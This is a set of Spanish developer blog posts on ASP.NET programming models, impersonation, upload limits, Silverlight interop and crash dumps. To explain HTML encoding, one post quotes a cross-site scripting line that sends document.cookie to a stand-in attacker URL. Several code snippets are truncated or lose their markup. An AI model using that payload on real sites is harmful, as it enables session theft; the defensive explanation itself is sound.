Una vez creados los controles de origen de datos, podemos configurarlos como la propiedad data source de otros controles de servidor con elementos gráficos, y así enlazarlos con un origen de datos de forma declarativa.

5 – Menor cantidad de código y menor complejidad que ASP.NET MVC

Debido a todo lo anterior, en definitiva las aplicaciones ASP.NET Web Forms requieren desarrollar menor cantidad de código que las aplicaciones ASP.NET MVC por lo que se adaptan mejor a equipos de desarrollo más reducidos.

Parte 2 - ASP.NET MVC

En marzo de 2009 se hizo pública la primera versión de ASP.NET MVC. El patrón de arquitectura MVC (model-view-controller) no es nuevo (data de 1979) ni es algo que haya inventado Microsoft. Existen muchos frameworks de desarrollo web populares que utilizan MVC, como por ejemplo Ruby on Rails, Spring o Apache Struts. MVC es un patrón de arquitectura que ayuda a crear una separación lógica entre el modelo (la lógica de acceso a datos), la vista (la lógica de presentación) y el controlador (la lógica de negocio).

Uno de los pilares básicos de ASP.NET MVC es el concepto de enrutamiento (routing), lo que permite a las aplicaciones aceptar peticiones a URLs que no se corresponden con ficheros físicos en el servidor. Por ejemplo, en ASP.NET Web Forms las URLs tienen el siguiente formato “https://website/products.aspx?category=dvd” en el que físicamente existe un fichero products.aspx en la raíz del sitio web. En MVC la misma URL tendría el siguiente aspecto “https://website/products/dvd” sin que el servidor web necesariamente contenga una carpeta products con una subcarpeta dvd. De forma predeterminada, ASP.NET MVC enruta las peticiones al controlador y a la vista adecuada en función de la URL. Es decir, en el ejemplo anterior, nos devolverá la vista dvd del controlador products.

Este es el aspecto que tiene un proyecto ASP.NET MVC en Visual Studio, que para quién haya trabajado en proyectos Web Forms notará cambios significativos:

El controlador es la pieza responsable de responder a las peticiones realizadas contra la aplicación ASP.NET MVC mediante distintas “acciones”, por ejemplo devolviendo una vista determinada, redireccionando la petición a un controlador distinto, etc. En el caso más básico, las acciones de un controlador se limitan a devolver vistas. En el siguiente ejemplo, el controlador products implementa dos acciones que devuelven las vistas index y dvd.

using System.Web.Mvc;

namespace AdventureWorks.Controllers

{

public class ProductsController : Controller

{

public ActionResult Index()

{

ViewBag.Message = "Welcome to AdventureWorks online store!";

return View();

}

public ActionResult Dvd()

{

return View();

}

Para entender mejor el concepto de enrutamiento y su relación con controladores y vistas, analicemos que ocurre si añadimos una nueva acción bluray al controlador products que quedaría expuesta en la URL https://website/products/bluray.

public ActionResult Bluray()

{

return View();

}

Si no indicamos lo contrario, ASP.NET MVC intentará buscar una vista que se llama igual que la acción que se ha ejecutado. El error que devuelve la aplicación indica que no ha podido encontrar la vista y además indica donde la ha buscado. Como se puede observar, en ASP.NET MVC hay un mapeo directo entre las URLs, los métodos que se ejecutan en el controlador (las acciones) y las vistas que se devuelven. Prevalece la convención sobre la configuración.

ASP.NET MVC fue concebido con el objetivo de proporcionar una mayor separación de conceptos y mayor control sobre el comportamiento de la aplicación. Al no hacer uso de muchos de los mecanismos de abstracción de ASP.NET Web Forms, como el view state o los formularios de servidor, ASP.NET MVC requiere un mayor conocimiento sobre protocolos y lenguajes web. En general las aplicaciones ASP.NET MVC requieren desarrollar una mayor cantidad de código que una aplicación ASP.NET Web Forms de funcionalidad equivalente, pero también proporcionan un mayor control al desarrollador sobre el comportamiento de la aplicación.

Cinco razones por las que ASP.NET MVC puede ser la mejor opción para ti

1 – Aplicaciones fácilmente integrables con pruebas unitarias

La principal característica que hace a una aplicación fácil de probar es el desacoplamiento (loose coupling) entre los componentes de la aplicación, de forma que cada uno de los componentes se pueda probar de forma aislada. Las pruebas unitarias en esencia son clases creadas con el único propósito de instanciar y hacer uso de las clases y métodos de una aplicación, y verificar que esas clases se comportan como es esperado en distintas situaciones. ¿El método X devuelve el valor esperado al pasar unos parámetros determinados? ¿La clase Y lanza una excepción de tipo Z cuando se pasan unos parámetros inválidos al constructor?

Uno de los grandes problemas de Web Forms era la imposibilidad de probar las aplicaciones mediante pruebas unitarias, dado que no es posible instanciar clases que heredan de System.Web.UI.Page de forma aislada. Sin embargo en ASP.NET MVC la lógica que controla el flujo de la aplicación reside en los controladores, y los controladores no son más que clases sin dependencias externas por lo que se pueden instanciar sin problemas desde el código de las pruebas unitarias. Siguiendo con el ejemplo anterior, podríamos implementar el siguiente método de prueba unitaria para verificar que el nombre de la vista que devuelve la acción Dvd del controlador Products es la esperada:

using System.Web.Mvc;

using AdventureWorks.Controllers;

using Microsoft.VisualStudio.TestTools.UnitTesting;

namespace AdventureWorksTest

{

[TestClass]

public class ProductsControllerTest

{

[TestMethod]

public void TestDvdView()

{

//Arrange

ProductsController products = new ProductsController();

//Act

ViewResult result = (ViewResult)products.Dvd();

//Assert

Assert.AreEqual("Dvd", result.ViewName);

}

La plantilla de Visual Studio para crear un nuevo proyecto ASP.NET MVC es la única plantilla de un proyecto web que crea un proyecto adicional de pruebas unitarias en la solución, lo que de nuevo refuerza que las pruebas unitarias son una parte integral de las aplicaciones ASP.NET MVC.

2 – Mayor flexibilidad y control sobre las URLs expuestas por la aplicación.

ASP.NET MVC proporciona mayor control y flexibilidad sobre las URLs que expone la aplicación. El componente clave que posibilita esta funcionalidad de MVC es el motor de URL routing que se introdujo en ASP.NET 3.5 SP1, y que desde ASP.NET 4.0 también está disponible para Web Forms. El URL routing permite a las aplicaciones exponer URLs más simples, semánticamente más significativas para los usuarios y mejor optimizadas para los motores de búsqueda.

Las rutas predeterminadas en una aplicación ASP.NET MVC están definidas en el método RegisterRoutes del fichero global.asax:

public static void RegisterRoutes(RouteCollection routes)

{

routes.IgnoreRoute("{resource}.axd/{*pathInfo}");

routes.MapRoute(

"Default", // Route name

"{controller}/{action}/{id}", // URL with parameters

new { controller = "Home", action = "Index", id = UrlParameter.Optional } // Parameter defaults

);

}

El enrutamiento predeterminado de cualquier aplicación ASP.NET MVC expone URLs del tipo https://website/{controlador}/{vista}/{parametros}. Por ejemplo, un controlador Search que realiza búsquedas en un catalogo de productos con una única vista Results a la que se pasa por parámetro la cadena de búsqueda por defecto estaría expuesta en la URL https://website/search/results/star+wars. Podría tener más sentido eliminar el nombre de la vista para conseguir una URL más simple, de forma que se accediera mediante https://website/search/star+wars. Conseguir esto únicamente requiere registrar una nueva ruta en el método RegisterRoutes:

routes.MapRoute(

"Search", // Route name

"Search/{id}", // URL with parameters

new { controller = "Search", action = "Results"} // Parameter defaults

);

3 – Mayor control sobre el HTML de la aplicación.

En ASP.NET MVC desaparecen los controles de servidor basados el modelo de post-back de Web Forms dado que ahora cada interacción del usuario debe ir enrutada a un controlador y a una acción específicos. En la práctica esto implica que desaparecen la mayoría de controles de servidor que generan HTML, por lo que ahora es tarea de los desarrolladores escribir todo ese HTML. Esto supone varias ventajas importantes, una de ellas es que el HTML que producen las aplicaciones MVC es completamente predecible, los elementos HTML no tienen identificadores generados dinámicamente del tipo “ctl00_ControlPadre_ControlHijo_...” y por consecuencia es significativamente más sencilla la programación de código JavaScript de cliente contra el HTML generado. Otras ventajas son el control total a la hora de producir HTML validable, HTML compatible con distintos estándares de accesibilidad web, etc.

4 – Plataforma completamente extensible

ASP.NET MVC ha sido diseñada para ser completamente extensible, lo que implica que cualquier elemento lógico del flujo de procesamiento de una petición MVC, puede ser extendido o completamente sustituido por una implementación propia. Para ello, ASP.NET MVC introduce una serie de puntos de extensión en los que es posible inyectar código personalizado que modifique el comportamiento predeterminado. Estos puntos de extensión se encuentran por ejemplo en la lógica de enrutamiento, en la creación de los controladores, en la ejecución de las acciones del controlador, en la selección de las vistas o los “view engines”, etc.

5 – Modelo de programación que promueve una mejor arquitectura de las aplicaciones.

Las características inherentes del modelo de programación ASP.NET MVC promueven una mejor arquitectura de las aplicaciones, con una separación más clara entre la lógica de presentación, la lógica de negocio y la lógica de acceso a datos. Esta separación lógica también contribuye desarrollar un código más reutilizable debido al mayor desacoplamiento entre los distintos componentes.

Parte 3 - ASP.NET Web Pages

Transcurrido poco más de un año desde el lanzamiento de la primera versión de ASP.NET MVC, en Julio de 2010 se anunció la disponibilidad pública de una nueva sintaxis para páginas ASP.NET llamada “Razor” y un nuevo tipo de páginas ASP.NET que hacen uso de dicha sintaxis, las denominadas ASP.NET Web Pages. Prácticamente de forma simultanea al lanzamiento de Razor, se hizo pública la disponibilidad de Microsoft WebMatrix. WebMatrix es una herramienta de desarrollo web gratuita que incluye todo lo necesario para desarrollar aplicaciones ASP.NET, ASP o incluso PHP. WebMatrix proporciona un entorno de desarrollo web autónomo, que integra también el servidor web de desarrollo (IIS Express), la base de datos (SQL Server Compact Edition), y las herramientas para desplegar las aplicaciones en entornos de producción (Web Deploy).

La sintaxis Razor fue diseñada con los objetivos de ser fácil de aprender, minimizar el número de caracteres necesarios para la sintaxis consiguiendo un código compacto y fluido, utilizar los lenguajes .NET existentes, ser compatible con cualquier editor de texto y ser “testeable” mediante pruebas unitarias. En esencia, Razor permite introducir fragmentos de código Visual Basic .NET o C# directamente en el código HTML, por lo que convenientemente la extensión de las páginas Razor es *.cshtml o *.vbhtml.

Con Razor todo el código de una página se encuentra en un único fichero, que se ejecuta de principio a fin. El ciclo de vida de ejecución de una página se ha simplificado significativamente respecto a Web Forms o MVC. El comienzo de un bloque de código de servidor en Razor se indica con el carácter ‘@’, y a diferencia de la sintaxis equivalente en las páginas *.aspx, ‘<% … %>’, no se indica explícitamente el cierre del bloque. El compilador utiliza su conocimiento de los lenguajes .NET para determinar donde terminan los bloques de código de servidor, y donde comienza el HTML.

ASPX

<div>

Bienvenido <%= Usuario.Nombre %>, hoy es <%= DateTime.Now.Date.ToShortDateString() %>

div>

Razor

<div>

Bienvenido @Usuario.Nombre, hoy es @DateTime.Now.Date.ToShortDateString()

div>

Aunque Razor está optimizado para entrelazar código .NET y código HTML de una forma fluida, en esencia no se diferencia mucho de la sintaxis VB.NET o C# a la que ya estamos acostumbrados. Es fácil habituarse a la nueva sintaxis a la hora de crear sentencias y bloques de código más complejos, como por ejemplo bloques multilínea, bloques if o bloques foreach:

DOCTYPE html>

@using System.Collections

Hashtable models = new Hashtable();

models.Add("ASP.NET Web Forms", "https://www.asp.net/web-forms");

models.Add("ASP.NET MVC", "https://www.asp.net/mvc");

models.Add("ASP.NET Web Pages", "https://www.asp.net/web-pages");

}

<head>

<title>title>

head>

<body>

<h1>Modelos de programación en de ASP.NET:h1>

<ul>

@foreach (DictionaryEntry entry in models)

{

<li><a href="@entry.Value">@entry.Keya>li>

}

ul>

@if (models.Count < 3)

{

<p>The list above is obsoletep>

}

else

{

<p>The list above is up to datep>

}

body>

html>

El siguiente post proporciona una guía más exhaustiva de la sintaxis Razor comparándola con la sintaxis equivalente ASPX: https://haacked.com/archive/2011/01/06/razor-syntax-quick-reference.aspx.

Cinco razones por las que ASP.NET Web Pages puede ser la mejor opción para ti

1 – Modelo de programación simple y rápido de aprender basado en páginas individuales

ASP.NET Web pages puede ser una buena opción para el que esté empezando a desarrollar aplicaciones con ASP.NET o quiera desarrollar una aplicación web sencilla en poco tiempo. Conceptualmente, el modelo de ejecución es similar a ASP clásico o PHP, en cuanto a que las aplicaciones se ejecutan secuencialmente de principio a fin, sin la complejidad de la jerarquía de eventos de Web Forms (Page_Load, Page_Render, etc.) pero disponiendo de toda la funcionalidad de ASP.NET.

2 – Codificación HTML para prevenir ataques de cross-site scripting

En Razor, el contenido emitido por los bloques de código de servidor ‘@’ están codificados (HTML encoded) para proteger contra ataques de cross-site scripting. Estos ataques, expuesto de manera enormemente simplificada, se basan en que un usuario malicioso consiga inyectar código HTML o script y posteriormente otros usuarios ejecuten ese código cuando acceden a la página como si fuera HTML/Script legítimo de la aplicación. El código se puede inyectar por ejemplo desde un campo de un formulario o mediante un parámetro por querystring, donde la aplicación espera que el usuario introduzca algún tipo de dato o parametrización. Un ejemplo típico es introducir un fragmento de código JavaScript oculto en un post de un foro o un comentario de un blog, de forma que ese script posteriormente se ejecute para todos los usuarios que accedan a dicho foro o dicho blog.

Sin codificación HTML, el usuario malicioso podría inyectar el siguiente fragmento de script en su post y el servidor posteriormente lo incluiría como parte del HTML de la página de forma que los navegadores lo interpretarían como una etiqueta válida de script que se ejecutaría sin intervención del usuario:

document.location='https://hacker.org/evil.asp?cookie=' + document.cookie;

script>

La codificación HTML convertiría el anterior fragmento de texto en la siguiente cadena, que el navegador web interpretaría como texto literal y no como una etiqueta HTML/Script válida, y que por tanto haría inofensivo el ataque:

document.location='https://hacker.org/evil.asp?cookie=' + document.cookie;

</script>

Cualquier modelo de programación de ASP.NET soporta la codificación HTML y protege contra los ataques de cross-site scripting, pero en ASP.NET Web Pages se ha hecho de forma completamente integrada en el lenguaje y por tanto más sencillo.

3 – Código mejor estructurado y reutilizable con la sintaxis @helper

La sintáxis @helper permite crear métodos “helper” que encapsulen lógica de generación de HTML, proporcionando una mayor reutilización de código y facilitando también la lectura de dicho código.

@helper CalculateDiscountPercent(Decimal price, Decimal discount)

{

if (discount > 0)

{

decimal discountPercent = Math.Round(((discount / price) * 100M), 1);

<span>@discountPercent %span>

}

else

{

<span>This product is not discounted!span>

}

<h1>Price list:h1>

<ul>

@foreach (Product prod in products)

{

<li>

Product: @prod.Description

span>

Regular Price: @prod.Price

span>

Discount: @CalculateDiscountPercent(prod.Price, prod.Discount)

span>

li>

}

ul>

4 – Extensiones fácilmente accesibles desde el Package Manager

ASP.NET Web Pages introduce un concepto similar a los plug-ins de jQuery o WordPress, denominados simplemente paquetes (packages). Estos paquetes están disponibles desde un feed público en Internet llamado NuGet, y el Package Manager de WebMatrix simplifica la descarga e instalación de estos paquetes para integrarlos en nuestras aplicaciones.

En la mayoría de los casos estos paquetes están implementados como clases .NET con métodos helper, que podemos utilizar desde las páginas Razor. Por ejemplo, el paquete Twitter.Helper 1.0 permite entre otras cosas añadir un widget de Twitter a una página Razor, que muestre los últimos tweets de una búsqueda determinada:

<div>

@TwitterGoodies.Search("asp.net")

div>

Este es el resultado que genera el helper Search de Twitter.Helper 1.0, todo esto añadiendo una sola línea de código:

5 – Plantillas de sitios web en WebMatrix para reducir los tiempos de desarrollo

Si elegimos Microsoft WebMatrix como entorno de desarrollo, podemos reducir aún más los tiempos de desarrollo, creando las aplicaciones ASP.NET Web Pages a partir de las plantillas que incluye WebMatrix. Estas plantillas incluyen la estructura y funcionalidad básica sobre las que crear nuevas aplicaciones. Las plantillas existentes implementan funcionalidad como autenticación de usuarios por formularios, procesamiento de pedidos para tienda online, funcionalidad para subir y compartir fotos o creación de calendarios.

HttpException: An error occurred while attempting to impersonate

Daniel Mossberg — Fri, 26 Nov 2010 05:11:00 GMT

Pasados más de tres meses desde mi último post, ya es momento de retomarlo. Hoy voy a escribir sobre un problema con el que me he encontrado en varias ocasiones en los últimos meses. Básicamente, el problema se produce cuando tenemos una aplicación ASP.NET configurada para impersonar al usuario autenticado, y en algún punto de la aplicación se trata de impersonar programáticamente a un usuario distinto. En estas circunstancias, la aplicación va a fallar con el siguiente error:

Exception Details:

System.Web.HttpException: An error occurred while attempting to impersonate. Execution of this request cannot continue.

Stack Trace:

[HttpException (0x80004005): An error occurred while attempting to impersonate. Execution of this request cannot continue.]

System.Web.ImpersonationContext.GetCurrentToken() +8845961

System.Web.ImpersonationContext.get_CurrentThreadTokenExists() +58

System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) +193

System.Web.ApplicationStepManager.ResumeSteps(Exception error) +501

System.Web.HttpApplication.System.Web.IHttpAsyncHandler.BeginProcessRequest(HttpContext context, AsyncCallback cb, Object extraData) +123

System.Web.HttpRuntime.ProcessRequestInternal(HttpWorkerRequest wr) +379

…

Básicamente, el problema radica en que al llamar al método Impersonate (o llamando directamente a la API LogonUser que es la que se termina llamando desde Impersonate), se intenta acceder al token del proceso (por ejemplo, w3wp.exe), y la cuenta del usuario autenticado (el que está siendo impersonado debido a la configuración del web.config) no tiene permiso para acceder a dicho token.

Por lo tanto, para poder impersonar una cuenta distinta programáticamente, necesitamos deshacer la impersonación inicial antes de impersonar una cuenta distinto. Para ello, podemos llamar a la API RevertToSelf para deshacer la impersonación antes de llamar a LogonUser.

En el siguiente ejemplo se ilustra cómo podríamos hacerlo:

const int LOGON32_PROVIDER_DEFAULT = 0;

const int LOGON32_LOGON_INTERACTIVE = 2;

const int SecurityImpersonation = 2;

int win32ErrorNumber = 0;

//Mostramos por pantalla la identidad inicial (la impersonada mediante en el web.config):

Response.Write("Identidad inicial: " + WindowsIdentity.GetCurrent().Name.ToString() + "
");

//Guardamos esa identidad inicial para poder restaurarlo posteriormente

WindowsIdentity _initialIdentity = WindowsIdentity.GetCurrent();

//Llamamos a la API "RevertToSelf" para deshacer la impersonación configurada en el web.config:

RevertToSelf();

//Volvemos a mostrar la identidad, y ahora vemos que ha cambiado a la identidad del application

//pool: (NETWORK SERVICE) por defecto.

Response.Write("Después de llamar a RevertToSelf: " + WindowsIdentity.GetCurrent().Name.ToString() + "
");

//Realizamos la impersonación deseada.

IntPtr _tokenHandle = IntPtr.Zero;

IntPtr _dupeTokenHandle = IntPtr.Zero;

string _domainname = "CONTOSO";

string _username = "demo";

string _password = "P@ssw0rd!";

if (!LogonUser(_username, _domainname, _password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, out _tokenHandle))

{

win32ErrorNumber = System.Runtime.InteropServices.Marshal.GetLastWin32Error();

throw new Exception(win32ErrorNumber.ToString());

}

if (!DuplicateToken(_tokenHandle, SecurityImpersonation, out _dupeTokenHandle))

{

win32ErrorNumber = System.Runtime.InteropServices.Marshal.GetLastWin32Error();

CloseHandle(_tokenHandle);

throw new Exception(win32ErrorNumber.ToString());

}

System.Security.Principal.WindowsIdentity newId = new System.Security.Principal.WindowsIdentity(_dupeTokenHandle);

WindowsImpersonationContext _impersonatedUser = newId.Impersonate();

//Mostramos por pantalla la identidad impersonada

Response.Write("Después de impersonar: " + WindowsIdentity.GetCurrent().Name.ToString() + "
");

//Desahacemos la impersonación cuando ya no lo necesitemos.

_impersonatedUser.Undo();

//Mostramos por pantalla la identidad, que otra vez será la del application pool

Response.Write("Deshacer impersonación: " + WindowsIdentity.GetCurrent().Name.ToString() + "
");

//Volvemos a impersonar con la identidad inicial (la del web.config) que hemos mantenido referenciada

//con la variable _impersonatedUser:

_impersonatedUser = _initialIdentity.Impersonate();

//Por último volvemos a mostrar la identidadMostramos por pantalla la identidad

Response.Write("Volver a impersonación inicial: " + WindowsIdentity.GetCurrent().Name.ToString() + "
");

Tras ejecutar el código anterior, el resultado emitido por pantalla sería el siguiente (en mi ejemplo):

Identidad inicial: CONTOSO\daniel
Después de llamar a RevertToSelf: NT AUTHORITY\NETWORK SERVICE
Después de impersonar: CONTOSO\demo
Deshacer impersonación: NT AUTHORITY\NETWORK SERVICE
Volver a impersonación inicial: CONTOSO\daniel

Estas son las signatures de C# para llamar a las APIs del ejemplo mediante platform invoke:

[DllImport("advapi32.dll", SetLastError = true)]

public static extern bool LogonUser(

string lpszUsername,

string lpszDomain,

string lpszPassword,

int dwLogonType,

int dwLogonProvider,

out IntPtr phToken);

[DllImport("advapi32.dll", SetLastError = true)]

static extern bool RevertToSelf();

[DllImport("advapi32.dll", SetLastError = true)]

public extern static bool DuplicateToken(

IntPtr ExistingTokenHandle,

int SECURITY_IMPERSONATION_LEVEL,

out IntPtr DuplicateTokenHandle);

[DllImport("kernel32.dll", SetLastError = true)]

[return: MarshalAs(UnmanagedType.Bool)]

static extern bool CloseHandle(IntPtr hObject);

Espero que os sea de utilidad.

- Daniel Mossberg

Problemas al subir ficheros a una aplicación ASP.NET

Daniel Mossberg — Wed, 11 Aug 2010 06:19:00 GMT

Cuando subimos ficheros a una aplicación ASP.NET, dependiendo del tamaño del fichero y la velocidad de la conexión del cliente, ocasionalmente la subida del fichero puede fallar con el mensaje de error en el cliente de Internet Explorer no puede mostrar la página web, o con alguna de las siguientes excepciones (dependiendo de cómo esté configurado IIS, habitualmente este detalle de la excepción únicamente lo podremos ver en el log de eventos NT del servidor):

HttpException: Request timed out.

HttpException: Maximum request length exceeded.

En estos casos, los parámetros que debéis configurar adecuadamente considerando el tamaño el tiempo de transmisión del fichero son los siguientes:

El parámetro de executionTimeout determina el tiempo en segundos que puede ejecutarse una páginas ASP.NET antes de que se lanza una excepción de time out. Por otro lado, el parámetro maxRequestLength determina el tamaño total máximo en bytes de las peticiones HTTP. Debemos configurar estas secciones acorde con los tiempos máximos de carga y tamaños máximos de fichero que queremos que soporte nuestra aplicación.

Los parámetros de la sección se pueden configurar a nivel de web.config de aplicación, e incluso a nivel de una página específica de la siguiente manera:

xml version="1.0"?>

...

<system.web>

<httpRuntime

executionTimeout="600"

maxRequestLength="61440" />

system.web>

location>

configuration>

Esto último es recomendable, dado que aumentar el executionTimeout de todas las páginas de una aplicación puede tener consecuencias negativas. En general, los timeout se deben mantener con valores razonablemente bajos, precisamente para que cuando se produzca una situación de bloqueo, se lanze la excepción y se finalice el procesamiento de la página en poco tiempo de forma que se libere el thread y se puedan atender otras peticiones. Con timeouts elevados se podrían llegar a agotar todos los threads en situaciones de bloqueo, por tardar demasiado en ser liberados.

Por último, si una vez habiendo configurado nuestra aplicación con valores adecaudos, la carga de ficheros sigue fallando con errores HTTP 400 en los logs de IIS y errores de Timer_EntityBody en los logs de HTTP.sys (HTTPERR), probad a desinstalar la funcionalidad de SNP (Scalable Networking Pack) en el servidor web siguiente los instrucciones del siguiente artículo:

An update to turn off default SNP features is available for Windows Server 2003-based and Small Business Server 2003-based computers

https://support.microsoft.com/default.aspx?scid=kb;EN-US;948496

Estos cambios requieren reincio del sistema operativo para entrar en vigor.

Espero que os haya sido de utilidad.

- Daniel Mossberg

Cómo reutilizar el código de una biblioteca de clases .NET desde una aplicación Silverlight

Daniel Mossberg — Tue, 13 Apr 2010 08:36:00 GMT

Existe cierta confusión con la compatibilidad entre binarios de Silverlight y binarios de .NET, y a más de uno le pilla por sorpresa que en un proyecto de Visual Studio de una aplicación Silverlight, no se pueden referenciar bibliotecas de clases (class library) desarrolladas en .NET de escritorio (para diferenciarlo del .NET de Silverlight). El motivo es que el runtime y la biblioteca de clases de .NET para Silverlight es un subconjunto del runtime y la biblioteca de clases de .NET de escritorio, y por lo tanto no son directamente compatibles.

Se puede migrar el código de las clases .NET a clases .NET para Silverlight, y en ocasiones puede ser tan sencillo como recompilar el mismo código fuente (por ejemplo, como una Silverlight Class Library). En otras ocasiones esta migración no es directa, dado que la biblioteca de clases de Silverlight no contiene todas las clases que la biblioteca de clases del Framework .NET.

.NET Framework Class Library

https://msdn.microsoft.com/en-us/library/ms229335.aspx

.NET Framework Class Library for Silverlight

https://msdn.microsoft.com/en-us/library/cc838194.aspx

Supongamos que queremos reutilizar unas bibliotecas de clases que manejan objetos DataSet, y dado que .NET para Silverlight (hasta la versión Silverlight 4 RC) no contiene el namespace System.Data, no podemos simplemente recompilar el código fuente (fallaría la compilación dado que no estarían implementada ninguna clase DataSet).

Una posible implementación que nos permite reutilizar al máximo nuestras bibliotecas de clases .NET desde aplicaciones Silverlight sería implementar una interfaz, expuesta como un web service, y consumir dicho web service desde la aplicación Silverlight.

De esta manera, todo el código de .NET de escritorio se ejecutará en el servidor web, y la aplicación Silverlight que se ejecutará en el navegador del cliente únicamente representará la capa de presentación.

Os muestro un pequeño ejemplo en C# como prueba de concepto. En este ejemplo, el web service está implementado como un web service de ASP.NET 2.0 (*.asmx), pero considerad la posibilidad de implementarlo como un web service WCF (Windows Communication Foundation), que es la siguiente generación de web services de .NET.

Supongamos que tenemos la siguiente clase en nuestra biblioteca de lógica de negocio. Esta es la clase cuyo código nos gustaría reutilizar en Silverlight, pero dado que hace uso de System.Data no podemos recompilar el código sin más.

using System;

using System.Data;

namespace SilverlightTest.Web

{

public class BusinessLogic

{

public DataSet getCustomerData(int customerID)

{

DataSet dataSet = new DataSet();

DataTable dataTable = new DataTable();

dataTable.Columns.Add("Columna 1");

dataTable.Columns.Add("Columna 2");

dataTable.Rows.Add(new object[] { "celda 0-0", "celda 0-1" });

dataTable.Rows.Add(new object[] { "celda 1-0", "celda 1-1" });

dataTable.Rows.Add(new object[] { "celda 2-0", "celda 2-1" });

dataTable.Rows.Add(new object[] { "celda 3-0", "celda 3-1" });

dataSet.Tables.Add(dataTable);

return dataSet;

}

Para solventar este problema, podemos crear un web service que exponga el método getCustomerData. En este caso, para hacerlo compatible con Silverlight, convertiremos el objeto DataSet en uno o varios arrays bidimensionales (uno por cada DataTable del DataSet) antes de enviar la respuesta al cliente Silverlight:

using System;

using System.Data;

using System.Web;

using System.Web.Services;

using SilverlightTest.Web;

[WebService]

public class SilverlightInterface : System.Web.Services.WebService

{

[WebMethod]

public object[][] getCustomerData(int customerID)

{

//Utilizamos la lógica de la biblioteca de clases de .NET de escritorio

BusinessLogic businessLogic = new BusinessLogic();

DataSet dataSet = businessLogic.getCustomerData(customerID);

int x = dataSet.Tables[0].Rows.Count;

int y = dataSet.Tables[0].Columns.Count;

//Declaramos y demensionamos el Array

object[][] dataArray = new object[x][];

for (int i = 0; i < x; i++)

{

dataArray[i] = new object[y];

}

//Rellenamos el Array con los datos del DataSet

for (int i = 0; i < x; i++)

{

for (int j = 0; j < y; j++)

{

dataArray[i][j] = dataSet.Tables[0].Rows[i][j];

}

return dataArray;

}

Por último, desde el cliente Silverlight consumimos el web service de la siguiente manera tras haber incluido la referencia web (que hemos llamado BusinessLogicWS):

public partial class SilverlightPage : UserControl

{

public SilverlightPage()

{

InitializeComponent();

//Creamos el objeto proxy para interactuar con el web service

BusinessLogicWS.SilverlightInterfaceSoapClient wsProxy =

new BusinessLogicWS.SilverlightInterfaceSoapClient();

wsProxy.getCustomerDataCompleted

+= new EventHandler

getCustomerDataCompletedEventArgs>

(getCustomerDataCompletedHandler);

int CustomerID = 1234;

//Realizamos la llamada asíncrona al web service

wsProxy.getCustomerDataAsync(CustomerID);

}

void getCustomerDataCompletedHandler(object sender,

BusinessLogicWS.getCustomerDataCompletedEventArgs e)

{

//Obtenemos los datos de la respuesta del web service

ObservableCollectionArrayOfAnyType>

data = e.Result;

//Hacemos algo con esos datos

for (int i=0; i

{

for (int j = 0; j < data[i].Count; j++ )

{

Debug.WriteLine(data[i][j].ToString());

}

De esta forma, hemos construido una interfaz entre la aplicación Silverlight y nuestra biblioteca de clases .NET, pudiendo reutilizar el código de las bibliotecas de clases .NET y solventando los problemas de incompatibilidades entre tipos de datos.

Hasta el próximo post,

- Daniel Mossberg

Cómo capturar volcados de crash con Debug Diagnostics Tool

Daniel Mossberg — Wed, 24 Mar 2010 04:29:00 GMT

Este post es la continuación de Cuándo y cómo capturar volcados de memoria en modo Crash

La herramienta Debug Diagnostics Tool se puede descargar desde aquí, tanto la versión de 32-bit como la de 64-bit. En el momento de escribir este post, la herramienta está en la versión 1.1 y está soportada para los siguientes sistemas operativos:

· Windows 2000 Server

· Windows Server 2003

· Windows XP

Es decir, si pretendemos analizar un problema en Windows Server 2008, Windows Server 2008 R2, Windows Vista o Windows 7 es recomendable utilizar otras herramientas, aunque algunas funcionalidades de Debug Diagnostics pueden funcionar en estos sistemas operativos.

Nota

En el caso de los sistemas operativos de 64-bit, es conveniente instalar la versión de DebugDiag en función del proceso que se va a monitorizar. Es decir, si el proceso es de 32-bit, es mejor utilizar la versión de 32-bit de DebugDiag al margen de que Windows sea de 64-bit (de esta forma nos quitamos del medio la capa WOW64 que a veces dificulta la depuración).

DebugDiag nos permite capturar volcados de crash mediante las reglas de crash. Las reglas de crash de DebugDiag permiten adjuntar un depurador a cualquier proceso y configurarlo para que genere volcados en el momento que se produzca una determinada excepción o cuando se finalice el proceso. Estos son los escenarios más comunes:

Volcados de crash de finalización de un proceso

Volcados de excepciones .NET

VOLCADOS DE CRASH DE FINALIZACIÓN DE UN PROCESO

Este es el escenario más común para capturar volcados de crash, y consiste en generar un volcado de memoria en el momento que se produce la excepción no manejada que provoca la finalización del proceso.

Para configurar una regla de crash de estas características debemos posicionarnos en la pestaña [Rules] y posteriormente pulsar sobre el botón [Add Rule…]. Posteriormente seguiremos estos pasos:

1) Seleccionar la opción [Crash]

2) Configurar a que proceso(s) o aplicación(es) adjuntaremos el depurador mediante alguna de las alternativas que nos proporciona la herramienta (en muchas ocasiones hay varias opciones válidas para conseguir el mismo resultado):

a) All active IIS/COM+ related processes: Adjuntará el depurador a todos los procesos INETINFO.EXE, W3WP.EXE y DLLHOST.EXE que se ejecuten en la máquina. De esta forma obtendremos datos de cualquier crash que se produzca en un proceso relacionado con IIS.

b) A specific process: Adjuntará el depurador a un proceso específico (un determinado PID) o a todos los procesos con el mismo nombre de ejecutable (por ejemplo W3WP.EXE), en función de sí seleccionamos la opción This process instance only.

c) A specific MTS/COM+ application: Adjuntará el depurador al proceso DLLHOST.EXE que aloje la aplicación COM+ que indiquemos.

d) Web application pool: Adjuntará el depurador al proceso W3WP.EXE que aloje el application pool que indiquemos.

e) NT Service: Adjuntará el depurador al proceso que aloje al servicio de Windows que indiquemos, por ejemplo SVCHOST.EXE.

3) En la pantalla de configuración avanzada dejaremos la configuración predeterminada, de forma que no tome ninguna acción cuando se produzcan excepciones de first chance:

4) Por último debemos indicar el nombre de la regla, la ubicación donde volcará los datos generados y activarla para que empiece a capturar datos. En función del escenario, estos datos pueden ser de gran tamaño por lo que conviene elegir una unidad que no tenga problemas de espacio.

VOLCADOS DE EXCEPCIONES .NET

En muchas ocasiones necesitamos analizar volcados de determinadas excepciones .NET, para examinar el estado de los objetos implicados en el momento de producirse la excepción. A partir de .NET 2.0, el CLR hace una gran labor registrando información sobre las excepciones no manejadas en el log de eventos NT, pero en ocasiones no es suficiente y necesitamos los volcados de memoria. Para configurar una regla de crash de estas características debemos posicionarnos en la pestaña [Rules] y posteriormente pulsar sobre el botón [Add Rule…]. Posteriormente seguiremos estos pasos:

1) Seleccionar la opción [Crash]

